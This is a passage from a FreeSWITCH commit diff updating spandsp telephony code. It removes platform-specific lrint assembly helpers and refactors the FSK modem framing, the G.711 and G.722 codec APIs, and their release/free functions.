+++ freeswitch/branches/seven/libs/spandsp/src/floating_fudge.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,7 +25,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: floating_fudge.h,v 1.5 2008/08/03 03:44:00 steveu Exp $
+ * $Id: floating_fudge.h,v 1.7 2009/02/03 16:28:39 steveu Exp $
  */
 
 #if !defined(_FLOATING_FUDGE_H_)
@@ -130,350 +130,6 @@
 }
 #endif
 
-/* The following code, to handle issues with lrint() and lrintf() on various
- * platforms, is adapted from similar code in libsndfile, which is:
- *
- * Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU Lesser General Public License as published by
- * the Free Software Foundation; either version 2.1 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU Lesser General Public License for more details.
- */
-
-/*
- *    On Intel Pentium processors (especially PIII and probably P4), converting
- *    from float to int is very slow. To meet the C specs, the code produced by
- *    most C compilers targeting Pentium needs to change the FPU rounding mode
- *    before the float to int conversion is performed.
- *
- *    Changing the FPU rounding mode causes the FPU pipeline to be flushed. It
- *    is this flushing of the pipeline which is so slow.
- *
- *    Fortunately the ISO C99 specification defines the functions lrint, lrintf,
- *    llrint and llrintf which fix this problem as a side effect.
- *
- *    On Unix-like systems, the configure process should have detected the
- *    presence of these functions. If they weren't found we have to replace them
- *    here with a standard C cast.
- */
-
-/*
- *    The C99 prototypes for these functions are as follows:
- *
- *        int rintf(float x);
- *        int rint(double x);
- *        long int lrintf(float x);
- *        long int lrint(double x);
- *        long long int llrintf(float x);
- *        long long int llrint(double x);
- *
- *    The presence of the required functions are detected during the configure
- *    process and the values HAVE_LRINT and HAVE_LRINTF are set accordingly in
- *    the config file.
- */
-
-#if defined(__CYGWIN__)
-    /*
-     *    CYGWIN has lrint and lrintf functions, but they are slow and buggy:
-     *        http://sourceware.org/ml/cygwin/2005-06/msg00153.html
-     *        http://sourceware.org/ml/cygwin/2005-09/msg00047.html
-     *    The latest version of cygwin seems to have made no effort to fix this.
-     *    These replacement functions (pulled from the Public Domain MinGW
-     *    math.h header) replace the native versions.
-     */
-    static __inline__ long int lrint(double x)
-    {
-        long int retval;
-
-        __asm__ __volatile__
-        (
-            "fistpl %0"
-            : "=m" (retval)
-            : "t" (x)
-            : "st"
-        );
-
-        return retval;
-    }
-
-    static __inline__ long int lrintf(float x)
-    {
-        long int retval;
-
-        __asm__ __volatile__
-        (
-            "fistpl %0"
-            : "=m" (retval)
-            : "t" (x)
-            : "st"
-        );
-        return retval;
-    }
-
-    static __inline__ long int lfastrint(double x)
-    {
-        long int retval;
-
-        __asm__ __volatile__
-        (
-            "fistpl %0"
-            : "=m" (retval)
-            : "t" (x)
-            : "st"
-        );
-
-        return retval;
-    }
-
-    static __inline__ long int lfastrintf(float x)
-    {
-        long int retval;
-
-        __asm__ __volatile__
-        (
-            "fistpl %0"
-            : "=m" (retval)
-            : "t" (x)
-            : "st"
-        );
-        return retval;
-    }
-#elif defined(HAVE_LRINT)  &&  defined(HAVE_LRINTF)
-
-#if defined(__i386__)
-    /* These routines are guaranteed fast on an i386 machine. Using the built in
-       lrint() and lrintf() should be similar, but they may not always be enabled.
-       Sometimes, especially with "-O0", you might get slow calls to routines. */
-    static __inline__ long int lfastrint(double x)
-    {
-        long int retval;
-
-        __asm__ __volatile__
-        (
-            "fistpl %0"
-            : "=m" (retval)
-            : "t" (x)
-            : "st"
-        );
-
-        return retval;
-    }
-
-    static __inline__ long int lfastrintf(float x)
-    {
-        long int retval;
-
-        __asm__ __volatile__
-        (
-            "fistpl %0"
-            : "=m" (retval)
-            : "t" (x)
-            : "st"
-        );
-        return retval;
-    }
-#elif defined(__x86_64__)
-    /* On an x86_64 machine, the fastest thing seems to be a pure assignment from a
-       double or float to an int. It looks like the design on the x86_64 took account
-       of the default behaviour specified for C. */
-    static __inline__ long int lfastrint(double x)
-    {
-        return (long int) (x);
-    }
-
-    static __inline__ long int lfastrintf(float x)
-    {
-        return (long int) (x);
-    }
-#elif defined(__ppc__)  ||   defined(__powerpc__)
-    static __inline__ long int lfastrint(register double x)
-    {
-        int res[2];
-
-        __asm__ __volatile__
-        (
-            "fctiw %1, %1\n\t"
-            "stfd %1, %0"
-            : "=m" (res)    /* Output */
-            : "f" (x)       /* Input */
-            : "memory"
-        );
-
-        return res[1];
-    }
-
-    static __inline__ long int lfastrintf(register float x)
-    {
-        int res[2];
-
-        __asm__ __volatile__
-        (
-            "fctiw %1, %1\n\t"
-            "stfd %1, %0"
-            : "=m" (res)    /* Output */
-            : "f" (x)       /* Input */
-            : "memory"
-        );
-
-        return res[1];
-    }
-#endif
-
-#elif defined(WIN32)  ||  defined(_WIN32)
-    /*
-     *    Win32 doesn't seem to have the lrint() and lrintf() functions.
-     *    Therefore implement inline versions of these functions here.
-     */
-    __inline long int lrint(double x)
-    {
-        long int i;
-
-        _asm
-        {
-            fld x
-            fistp i
-        };
-        return i;
-    }
-
-    __inline long int lrintf(float x)
-    {
-        long int i;
-
-        _asm
-        {
-            fld x
-            fistp i
-        };
-        return i;
-    }
-
-    __inline long int lfastrint(double x)
-    {
-        long int i;
-
-        _asm
-        {
-            fld x
-            fistp i
-        };
-        return i;
-    }
-
-    __inline long int lfastrintf(float x)
-    {
-        long int i;
-
-        _asm
-        {
-            fld x
-            fistp i
-        };
-        return i;
-    }
-#elif defined(WIN64)  ||  defined(_WIN64)
-    /*
-     *    Win64 machines will do best with a simple assignment.
-     */
-    __inline long int lfastrint(double x)
-    {
-        return (long int) (x);
-    }
-
-    __inline long int lfastrintf(float x)
-    {
-        return (long int) (x);
-    }
-#elif defined(__MWERKS__)  &&  defined(macintosh)
-    /* This MacOS 9 solution was provided by Stephane Letz */
-
-    long int __inline__ lfastrint(register double x)
-    {
-        long int res[2];
-
-        asm
-        {
-            fctiw x, x
-            stfd x, res
-        }
-        return res[1];
-    }
-
-    long int __inline__ lfastrintf(register float x)
-    {
-        long int res[2];
-
-        asm
-        {
-            fctiw x, x
-            stfd x, res
-        }
-        return res[1];
-    }
-
-#elif defined(__MACH__)  &&  defined(__APPLE__)  &&  (defined(__ppc__)  ||  defined(__powerpc__))
-    /* For Apple Mac OS/X - do recent versions still need this? */
-
-    static __inline__ long int lfastrint(register double x)
-    {
-        int res[2];
-
-        __asm__ __volatile__
-        (
-            "fctiw %1, %1\n\t"
-            "stfd %1, %0"
-            : "=m" (res)    /* Output */
-            : "f" (x)       /* Input */
-            : "memory"
-        );
-
-        return res[1];
-    }
-
-    static __inline__ long int lfastrintf(register float x)
-    {
-        int res[2];
-
-        __asm__ __volatile__
-        (
-            "fctiw %1, %1\n\t"
-            "stfd %1, %0"
-            : "=m" (res)    /* Output */
-            : "f" (x)       /* Input */
-            : "memory"
-        );
-
-        return res[1];
-    }
-#else
-    /* There is nothing else to do, but use a simple casting operation, instead of a real
-       rint() type function. Since we are only trying to use rint() to speed up conversions,
-       the accuracy issues related to changing the rounding scheme are of little concern
-       to us. */
-
-    #if !defined(__sgi)
-        #warning "No usable lrint() and lrintf() functions available."
-        #warning "Replacing these functions with a simple C cast."
-    #endif
-
-    static __inline__ long int lfastrint(double x)
-    {
-        return (long int) (x);
-    }
-
-    static __inline__ long int lfastrintf(float x)
-    {
-        return (long int) (x);
-    }
-
-#endif
-
 #if defined(__cplusplus)
 }
 #endif

Modified: freeswitch/branches/seven/libs/spandsp/src/fsk.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/fsk.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/fsk.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,25 +22,25 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: fsk.c,v 1.46 2008/09/07 12:45:16 steveu Exp $
+ * $Id: fsk.c,v 1.59 2009/06/02 16:03:56 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <inttypes.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 
 #include "spandsp/telephony.h"
@@ -50,6 +50,8 @@
 #include "spandsp/async.h"
 #include "spandsp/fsk.h"
 
+#include "spandsp/private/fsk.h"
+
 const fsk_spec_t preset_fsk_specs[] =
 {
     {
@@ -109,19 +111,27 @@
         1200*100
     },
     {
-        "Weitbrecht",   /* Used for TDD (Telecoms Device for the Deaf) */
+        "Weitbrecht 45.45", /* Used for TDD (Telecoms Device for the Deaf) */
         1800,
         1400,
         -14,
         -30,
          4545
+    },
+    {
+        "Weitbrecht 50",    /* Used for TDD (Telecoms Device for the Deaf) */
+        1800,
+        1400,
+        -14,
+        -30,
+         5000
     }
 };
 
-fsk_tx_state_t *fsk_tx_init(fsk_tx_state_t *s,
-                            const fsk_spec_t *spec,
-                            get_bit_func_t get_bit,
-                            void *user_data)
+SPAN_DECLARE(fsk_tx_state_t *) fsk_tx_init(fsk_tx_state_t *s,
+                                           const fsk_spec_t *spec,
+                                           get_bit_func_t get_bit,
+                                           void *user_data)
 {
     if (s == NULL)
     {
@@ -138,7 +148,6 @@
     s->scaling = dds_scaling_dbm0((float) spec->tx_level);
     /* Initialise fractional sample baud generation. */
     s->phase_acc = 0;
-    s->baud_inc = s->baud_rate;
     s->baud_frac = 0;
     s->current_phase_rate = s->phase_rates[1];
     
@@ -147,8 +156,21 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int fsk_tx(fsk_tx_state_t *s, int16_t *amp, int len)
+SPAN_DECLARE(int) fsk_tx_release(fsk_tx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fsk_tx_free(fsk_tx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) fsk_tx(fsk_tx_state_t *s, int16_t amp[], int len)
+{
     int sample;
     int bit;
 
@@ -160,7 +182,7 @@
        with them, if they care about accurate transition timing. */
     for (sample = 0;  sample < len;  sample++)
     {
-        if ((s->baud_frac += s->baud_inc) >= SAMPLE_RATE*100)
+        if ((s->baud_frac += s->baud_rate) >= SAMPLE_RATE*100)
         {
             s->baud_frac -= SAMPLE_RATE*100;
             if ((bit = s->get_bit(s->get_bit_user_data)) == SIG_STATUS_END_OF_DATA)
@@ -180,27 +202,27 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void fsk_tx_power(fsk_tx_state_t *s, float power)
+SPAN_DECLARE(void) fsk_tx_power(fsk_tx_state_t *s, float power)
 {
     s->scaling = dds_scaling_dbm0(power);
 }
 /*- End of function --------------------------------------------------------*/
 
-void fsk_tx_set_get_bit(fsk_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(void) fsk_tx_set_get_bit(fsk_tx_state_t *s, get_bit_func_t get_bit, void *user_data)
 {
     s->get_bit = get_bit;
     s->get_bit_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void fsk_tx_set_modem_status_handler(fsk_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) fsk_tx_set_modem_status_handler(fsk_tx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void fsk_rx_signal_cutoff(fsk_rx_state_t *s, float cutoff)
+SPAN_DECLARE(void) fsk_rx_signal_cutoff(fsk_rx_state_t *s, float cutoff)
 {
     /* The 6.04 allows for the gain of the DC blocker */
     s->carrier_on_power = (int32_t) (power_meter_level_dbm0(cutoff + 2.5f - 6.04f));
@@ -208,31 +230,31 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-float fsk_rx_signal_power(fsk_rx_state_t *s)
+SPAN_DECLARE(float) fsk_rx_signal_power(fsk_rx_state_t *s)
 {
     return power_meter_current_dbm0(&s->power);
 }
 /*- End of function --------------------------------------------------------*/
 
-void fsk_rx_set_put_bit(fsk_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(void) fsk_rx_set_put_bit(fsk_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
 {
     s->put_bit = put_bit;
     s->put_bit_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void fsk_rx_set_modem_status_handler(fsk_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) fsk_rx_set_modem_status_handler(fsk_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-fsk_rx_state_t *fsk_rx_init(fsk_rx_state_t *s,
-                            const fsk_spec_t *spec,
-                            int sync_mode,
-                            put_bit_func_t put_bit,
-                            void *user_data)
+SPAN_DECLARE(fsk_rx_state_t *) fsk_rx_init(fsk_rx_state_t *s,
+                                           const fsk_spec_t *spec,
+                                           int framing_mode,
+                                           put_bit_func_t put_bit,
+                                           void *user_data)
 {
     int chop;
 
@@ -244,7 +266,7 @@
 
     memset(s, 0, sizeof(*s));
     s->baud_rate = spec->baud_rate;
-    s->sync_mode = sync_mode;
+    s->framing_mode = framing_mode;
     fsk_rx_signal_cutoff(s, (float) spec->min_level);
     s->put_bit = put_bit;
     s->put_bit_user_data = user_data;
@@ -277,8 +299,10 @@
     }
 
     /* Initialise the baud/bit rate tracking. */
-    s->baud_inc = s->baud_rate;
-    s->baud_pll = 0;
+    s->baud_phase = 0;
+    s->frame_state = 0;
+    s->frame_bits = 0;
+    s->last_bit = 0;
     
     /* Initialise a power detector, so sense when a signal is present. */
     power_meter_init(&(s->power), 4);
@@ -287,6 +311,19 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+SPAN_DECLARE(int) fsk_rx_release(fsk_rx_state_t *s)
+{
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fsk_rx_free(fsk_rx_state_t *s)
+{
+    free(s);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static void report_status_change(fsk_rx_state_t *s, int status)
 {
     if (s->status_handler)
@@ -296,7 +333,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int fsk_rx(fsk_rx_state_t *s, const int16_t *amp, int len)
+SPAN_DECLARE_NONSTD(int) fsk_rx(fsk_rx_state_t *s, const int16_t *amp, int len)
 {
     int buf_ptr;
     int baudstate;
@@ -312,6 +349,26 @@
 
     for (i = 0;  i < len;  i++)
     {
+        /* The *totally* asynchronous character to character behaviour of these
+           modems, when carrying async. data, seems to force a sample by sample
+           approach. */
+        for (j = 0;  j < 2;  j++)
+        {
+            s->dot[j].re -= s->window[j][buf_ptr].re;
+            s->dot[j].im -= s->window[j][buf_ptr].im;
+
+            ph = dds_complexi(&(s->phase_acc[j]), s->phase_rate[j]);
+            s->window[j][buf_ptr].re = (ph.re*amp[i]) >> s->scaling_shift;
+            s->window[j][buf_ptr].im = (ph.im*amp[i]) >> s->scaling_shift;
+
+            s->dot[j].re += s->window[j][buf_ptr].re;
+            s->dot[j].im += s->window[j][buf_ptr].im;
+
+            dot = s->dot[j].re >> 15;
+            sum[j] = dot*dot;
+            dot = s->dot[j].im >> 15;
+            sum[j] += dot*dot;
+        }
         /* If there isn't much signal, don't demodulate - it will only produce
            useless junk results. */
         /* There should be no DC in the signal, but sometimes there is.
@@ -330,6 +387,7 @@
                     /* Count down a short delay, to ensure we push the last
                        few bits through the filters before stopping. */
                     report_status_change(s, SIG_STATUS_CARRIER_DOWN);
+                    s->baud_phase = 0;
                     continue;
                 }
             }
@@ -338,67 +396,154 @@
         {
             /* Look for power exceeding turn-on threshold to turn the carrier on */
             if (power < s->carrier_on_power)
+            {
+                s->baud_phase = 0;
                 continue;
+            }
+            if (s->baud_phase < (s->correlation_span >> 1) - 30)
+            {
+                s->baud_phase++;
+                continue;
+            }
             s->signal_present = 1;
+            /* Initialise the baud/bit rate tracking. */
+            s->baud_phase = 0;
+            s->frame_state = 0;
+            s->frame_bits = 0;
+            s->last_bit = 0;
             report_status_change(s, SIG_STATUS_CARRIER_UP);
         }
         /* Non-coherent FSK demodulation by correlation with the target tones
            over a one baud interval. The slow V.xx specs. are too open ended
            to allow anything fancier to be used. The dot products are calculated
            using a sliding window approach, so the compute load is not that great. */
-        /* The *totally* asynchronous character to character behaviour of these
-           modems, when carrying async. data, seems to force a sample by sample
-           approach. */
-        for (j = 0;  j < 2;  j++)
-        {
-            s->dot[j].re -= s->window[j][buf_ptr].re;
-            s->dot[j].im -= s->window[j][buf_ptr].im;
 
-            ph = dds_complexi(&(s->phase_acc[j]), s->phase_rate[j]);
-            s->window[j][buf_ptr].re = (ph.re*amp[i]) >> s->scaling_shift;
-            s->window[j][buf_ptr].im = (ph.im*amp[i]) >> s->scaling_shift;
-
-            s->dot[j].re += s->window[j][buf_ptr].re;
-            s->dot[j].im += s->window[j][buf_ptr].im;
-
-            dot = s->dot[j].re >> 15;
-            sum[j] = dot*dot;
-            dot = s->dot[j].im >> 15;
-            sum[j] += dot*dot;
-        }
         baudstate = (sum[0] < sum[1]);
-
-        if (s->lastbit != baudstate)
+        switch (s->framing_mode)
         {
-            s->lastbit = baudstate;
-            if (s->sync_mode)
+        case 1:
+            /* Synchronous serial operation - e.g. for HDLC */
+            if (s->last_bit != baudstate)
             {
+                /* On a transition we check our timing */
+                s->last_bit = baudstate;
                 /* For synchronous use (e.g. HDLC channels in FAX modems), nudge
                    the baud phase gently, trying to keep it centred on the bauds. */
-                if (s->baud_pll < (SAMPLE_RATE*50))
-                    s->baud_pll += (s->baud_inc >> 3);
+                if (s->baud_phase < (SAMPLE_RATE*50))
+                    s->baud_phase += (s->baud_rate >> 3);
                 else
-                    s->baud_pll -= (s->baud_inc >> 3);
+                    s->baud_phase -= (s->baud_rate >> 3);
             }
-            else
+            if ((s->baud_phase += s->baud_rate) >= (SAMPLE_RATE*100))
             {
+                /* We should be in the middle of a baud now, so report the current
+                   state as the next bit */
+                s->baud_phase -= (SAMPLE_RATE*100);
+                s->put_bit(s->put_bit_user_data, baudstate);
+            }
+            break;
+        case 0:
+            /* Fully asynchronous mode */
+            if (s->last_bit != baudstate)
+            {
+                /* On a transition we check our timing */
+                s->last_bit = baudstate;
                 /* For async. operation, believe transitions completely, and
                    sample appropriately. This allows instant start on the first
                    transition. */
                 /* We must now be about half way to a sampling point. We do not do
                    any fractional sample estimation of the transitions, so this is
                    the most accurate baud alignment we can do. */
-                s->baud_pll = SAMPLE_RATE*50;
+                s->baud_phase = SAMPLE_RATE*50;
             }
-
+            if ((s->baud_phase += s->baud_rate) >= (SAMPLE_RATE*100))
+            {
+                /* We should be in the middle of a baud now, so report the current
+                   state as the next bit */
+                s->baud_phase -= (SAMPLE_RATE*100);
+                s->put_bit(s->put_bit_user_data, baudstate);
+            }
+            break;
+        default:
+            /* Gather the specified number of bits, with robust checking to ensure reasonable voice immunity.
+               The first bit should be a start bit (0), and the last bit should be a stop bit (1) */
+            if (s->frame_state == 0)
+            {
+                /* Looking for the start of a zero bit, which hopefully the start of a start bit */
+                if (baudstate == 0)
+                {
+                    s->baud_phase = SAMPLE_RATE*(100 - 40)/2;
+                    s->frame_state = -1;
+                    s->frame_bits = 0;
+                    s->last_bit = -1;
+                }
+            }
+            else if (s->frame_state == -1)
+            {
+                /* Look for a continuous zero from the start of the start bit until
+                   beyond the middle */
+                if (baudstate != 0)
+                {
+                    /* If we aren't looking at a stable start bit, restart */
+                    s->frame_state = 0;
+                }
+                else
+                {
+                    s->baud_phase += s->baud_rate;
+                    if (s->baud_phase >= SAMPLE_RATE*100)
+                    {
+                        s->frame_state = 1;
+                        s->last_bit = baudstate;
+                    }
+                }
+            }
+            else
+            {
+                s->baud_phase += s->baud_rate;
+                if (s->baud_phase >= SAMPLE_RATE*(100 - 40))
+                {
+                    if (s->last_bit < 0)
+                        s->last_bit = baudstate;
+                    /* Look for the bit being consistent over the central 20% of the bit time. */
+                    if (s->last_bit != baudstate)
+                    {
+                        s->frame_state = 0;
+                    }
+                    else if (s->baud_phase >= SAMPLE_RATE*100)
+                    {
+                        /* We should be in the middle of a baud now, so report the current
+                           state as the next bit */
+                        if (s->last_bit == baudstate)
+                        {
+                            s->frame_bits |= (baudstate << s->framing_mode);
+                            s->frame_bits >>= 1;
+                            s->baud_phase -= (SAMPLE_RATE*100);
+                            if (++s->frame_state > s->framing_mode)
+                            {
+                                /* Check we have a stop bit */
+                                if (baudstate == 1)
+                                {
+                                    /* Check we have a start bit */
+                                    if ((s->frame_bits & 1) == 0)
+                                    {
+                                        /* Drop the start bit, and pass the rest back */
+                                        s->frame_bits >>= 1;
+                                        s->put_bit(s->put_bit_user_data, s->frame_bits);
+                                    }
+                                }
+                                s->frame_state = 0;
+                            }
+                        }
+                        else
+                        {
+                            s->frame_state = 0;
+                        }
+                        s->last_bit = -1;
+                    }
+                }
+            }
+            break;
         }
-        if ((s->baud_pll += s->baud_inc) >= (SAMPLE_RATE*100))
-        {
-            /* We should be in the middle of a baud now, so report the current
-               state as the next bit */
-            s->baud_pll -= (SAMPLE_RATE*100);
-            s->put_bit(s->put_bit_user_data, baudstate);
-        }
         if (++buf_ptr >= s->correlation_span)
             buf_ptr = 0;
     }
@@ -406,4 +551,14 @@
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) fsk_rx_fillin(fsk_rx_state_t *s, int len)
+{
+    /* The valid choice here is probably to do nothing. We don't change state
+      (i.e carrier on<->carrier off), and we'll just output less bits than we
+      should. */
+    /* TODO: Advance the symbol phase the appropriate amount */
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
 /*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/src/g711.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/g711.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/g711.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,30 +22,24 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g711.c,v 1.11 2008/07/02 14:48:25 steveu Exp $
+ * $Id: g711.c,v 1.16 2009/02/10 13:06:46 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <stdlib.h>
 #include <string.h>
-#include "floating_fudge.h"
-#if defined(HAVE_TGMATH_H)
-#include <tgmath.h>
-#endif
-#if defined(HAVE_MATH_H)
-#include <math.h>
-#endif
 #include <assert.h>
 
 #include "spandsp/telephony.h"
 #include "spandsp/bit_operations.h"
 #include "spandsp/g711.h"
+#include "spandsp/private/g711.h"
 
 /* Copied from the CCITT G.711 specification */
 static const uint8_t ulaw_to_alaw_table[256] =
@@ -91,22 +85,22 @@
     214, 215, 212, 213, 218, 219, 216, 217, 207, 207, 206, 206, 210, 211, 208, 209
 };
 
-uint8_t alaw_to_ulaw(uint8_t alaw)
+SPAN_DECLARE(uint8_t) alaw_to_ulaw(uint8_t alaw)
 {
     return alaw_to_ulaw_table[alaw];
 }
 /*- End of function --------------------------------------------------------*/
 
-uint8_t ulaw_to_alaw(uint8_t ulaw)
+SPAN_DECLARE(uint8_t) ulaw_to_alaw(uint8_t ulaw)
 {
     return ulaw_to_alaw_table[ulaw];
 }
 /*- End of function --------------------------------------------------------*/
 
-int g711_decode(g711_state_t *s,
-                int16_t amp[],
-                const uint8_t g711_data[],
-                int g711_bytes)
+SPAN_DECLARE(int) g711_decode(g711_state_t *s,
+                              int16_t amp[],
+                              const uint8_t g711_data[],
+                              int g711_bytes)
 {
     int i;
 
@@ -127,10 +121,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g711_encode(g711_state_t *s,
-                uint8_t g711_data[],
-                const int16_t amp[],
-                int len)
+SPAN_DECLARE(int) g711_encode(g711_state_t *s,
+                              uint8_t g711_data[],
+                              const int16_t amp[],
+                              int len)
 {
     int i;
 
@@ -151,10 +145,10 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g711_transcode(g711_state_t *s,
-                   uint8_t g711_out[],
-                   const uint8_t g711_in[],
-                   int g711_bytes)
+SPAN_DECLARE(int) g711_transcode(g711_state_t *s,
+                                 uint8_t g711_out[],
+                                 const uint8_t g711_in[],
+                                 int g711_bytes)
 {
     int i;
 
@@ -175,7 +169,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-g711_state_t *g711_init(g711_state_t *s, int mode)
+SPAN_DECLARE(g711_state_t *) g711_init(g711_state_t *s, int mode)
 {
     if (s == NULL)
     {
@@ -187,8 +181,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g711_release(g711_state_t *s)
+SPAN_DECLARE(int) g711_release(g711_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) g711_free(g711_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/g722.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/g722.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/g722.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -28,31 +28,34 @@
  * Computer Science, Speech Group
  * Chengxiang Lu and Alex Hauptmann
  *
- * $Id: g722.c,v 1.2 2008/09/19 16:24:25 steveu Exp $
+ * $Id: g722.c,v 1.10 2009/04/22 12:57:40 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
 #include <memory.h>
 #include <stdlib.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
+#include "spandsp/fast_convert.h"
 #include "spandsp/saturated.h"
 #include "spandsp/vector_int.h"
 #include "spandsp/g722.h"
 
+#include "spandsp/private/g722.h"
+
 static const int16_t qmf_coeffs_fwd[12] =
 {
       3,  -11,   12,   32, -210,  951, 3876, -805,  362, -156,   53,  -11,
@@ -202,16 +205,16 @@
     wd32 = ((p ^ s->p[0]) & 0x8000)  ?  wd1  :  -wd1;
     if (wd32 > 32767)
         wd32 = 32767;
-    wd3 = (((p ^ s->p[1]) & 0x8000)  ?  -128  :  128)
-        + (wd32 >> 7)
-        + (((int32_t) s->a[1]*(int32_t) 32512) >> 15);
+    wd3 = (int16_t) ((((p ^ s->p[1]) & 0x8000)  ?  -128  :  128)
+                     + (wd32 >> 7)
+                     + (((int32_t) s->a[1]*(int32_t) 32512) >> 15));
     if (abs(wd3) > 12288)
         wd3 = (wd3 < 0)  ?  -12288  :  12288;
     ap[1] = wd3;
 
     /* UPPOL1 */
     wd1 = ((p ^ s->p[0]) & 0x8000)  ?  -192  :  192;
-    wd2 = ((int32_t) s->a[0]*(int32_t) 32640) >> 15;
+    wd2 = (int16_t) (((int32_t) s->a[0]*(int32_t) 32640) >> 15);
     ap[0] = saturated_add16(wd1, wd2);
 
     wd3 = saturated_sub16(15360, ap[1]);
@@ -220,9 +223,9 @@
 
     /* FILTEP */
     wd1 = saturated_add16(r, r);
-    wd1 = ((int32_t) ap[0]*(int32_t) wd1) >> 15;
+    wd1 = (int16_t) (((int32_t) ap[0]*(int32_t) wd1) >> 15);
     wd2 = saturated_add16(s->r, s->r);
-    wd2 = ((int32_t) ap[1]*(int32_t) wd2) >> 15;
+    wd2 = (int16_t) (((int32_t) ap[1]*(int32_t) wd2) >> 15);
     sp = saturated_add16(wd1, wd2);
     s->r = r;
     s->a[1] = ap[1];
@@ -239,7 +242,7 @@
     for (i = 5;  i >= 0;  i--)
     {
         wd2 = ((s->d[i + 1] ^ dx) & 0x8000)  ?  -wd1  :  wd1;
-        wd3 = ((int32_t) s->b[i]*(int32_t) 32640) >> 15;
+        wd3 = (int16_t) (((int32_t) s->b[i]*(int32_t) 32640) >> 15);
         s->b[i] = saturated_add16(wd2, wd3);
         wd3 = saturated_add16(s->d[i], s->d[i]);
         sz += ((int32_t) s->b[i]*(int32_t) wd3) >> 15;
@@ -252,7 +255,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-g722_decode_state_t *g722_decode_init(g722_decode_state_t *s, int rate, int options)
+SPAN_DECLARE(g722_decode_state_t *) g722_decode_init(g722_decode_state_t *s, int rate, int options)
 {
     if (s == NULL)
     {
@@ -278,14 +281,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int g722_decode_release(g722_decode_state_t *s)
+SPAN_DECLARE(int) g722_decode_release(g722_decode_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) g722_decode_free(g722_decode_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
